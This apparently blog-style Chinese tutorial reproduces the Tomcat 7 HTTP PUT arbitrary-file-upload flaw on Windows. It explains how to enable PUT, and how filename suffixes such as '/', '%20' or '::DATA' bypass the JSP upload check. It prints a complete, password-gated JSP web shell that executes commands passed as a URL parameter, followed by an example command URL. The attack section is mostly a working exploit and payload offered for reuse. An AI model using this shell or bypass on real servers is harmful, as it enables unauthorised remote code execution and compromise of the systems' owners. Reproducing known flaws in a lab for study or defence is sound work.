受影响版本
漏洞影响的tomcat版本为tomcat7.0.0-7.0.81版本
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,攻击者通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,可造成任意代码执行
Tomcat配置
下载tomcat7.0.0-7.0.81版本,解压后修改conf/web.xml文件添加readonly参数,属性值为false
默认配置文件是只读模式,这里将只读改为false,即可允许PUT上传。
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
抓包
开启PUT上传后,利用BurpSuite将GET请求改为PUT请求,并指定文件,这里需要注意指定文件名后需要加入“/”、"%20"或":DATA"字符,默认Tomcat是无法上传jsp和jspx的。
这里通过构造特殊后缀名,绕过了tomcat检测,让它用DefaultServlet的逻辑去处理请求,从而上传jsp文件。
payload
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%
if("hack".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
响应头201,上传成功
响应头为403,可以看看配置文件web.xml中readonly是否写错。
响应头为204,上传的文件已存在。
http://localhost:8080/test.jsp?pwd=hack&&cmd=ipconfig
即可远程执行命令
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构